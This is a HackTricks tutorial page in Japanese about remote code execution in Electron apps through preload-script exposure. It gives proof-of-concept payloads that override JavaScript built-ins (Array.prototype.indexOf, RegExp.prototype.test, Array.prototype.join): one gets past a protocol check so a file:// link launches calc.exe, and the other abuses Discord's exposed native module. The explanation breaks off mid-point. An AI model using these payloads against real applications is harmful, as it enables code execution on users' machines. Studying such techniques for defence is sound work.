Electron contextIsolation RCE via preload code
Reading time: 5 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Example 1
このコードはデフォルトのブラウザでhttp(s)リンクを開きます:
file:///C:/Windows/systemd32/calc.exe
のようなものを使用してcalcを実行することができますが、SAFE_PROTOCOLS.indexOf
がそれを防いでいます。
したがって、攻撃者はXSSまたは任意のページナビゲーションを介してこのJSコードを注入することができます:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
SAFE_PROTOCOLS.indexOf
が常に1337を返すため、攻撃者は保護を回避し、calcを実行できます。最終的なエクスプロイト:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
オリジナルのスライドを確認して、許可を求めるプロンプトなしでプログラムを実行する他の方法を探してください。
どうやら、コードを読み込んで実行する別の方法は、file://127.0.0.1/electron/rce.jar
のようなものにアクセスすることです。
例 2: Discord アプリ RCE
https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1からの例
プリロードスクリプトを確認したところ、Discordは、許可されたモジュールのいくつかをDiscordNative.nativeModules.requireModule('MODULE-NAME')
を介してウェブページに呼び出すことを可能にする関数を公開しています。
ここでは、_child_process_モジュールのようなRCEに直接使用できるモジュールを使用することはできませんでしたが、JavaScriptの組み込みメソッドをオーバーライドすることでRCEを達成できるコードを見つけました。公開されたモジュールの実行に干渉します。
以下はPoCです。RegExp.prototype.test
とArray.prototype.join
をオーバーライドしながら、devToolsから"discord_utils"というモジュールで定義されたgetGPUDriverVersions
関数を呼び出すと、calcアプリケーションがポップアップ**することを確認できました。
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
getGPUDriverVersions
関数は、次のように "execa" ライブラリを使用してプログラムを実行しようとします:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
通常、execa_はnvidiaSmiPath
変数に指定された"nvidia-smi.exe"を実行しようとしますが、オーバーライドされたRegExp.prototype.test
とArray.prototype.join
のために、引数は_execa_の内部処理で"calc_"に置き換えられます。
具体的には、引数は以下の2つの部分を変更することで置き換えられます。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。